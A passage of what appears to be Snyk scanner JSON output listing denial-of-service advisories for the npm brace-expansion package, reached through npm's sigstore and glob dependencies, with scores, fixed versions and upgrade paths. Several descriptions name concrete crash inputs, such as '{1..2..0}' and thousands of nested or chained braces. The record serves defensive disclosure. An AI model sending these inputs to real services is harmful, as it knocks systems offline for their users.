"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
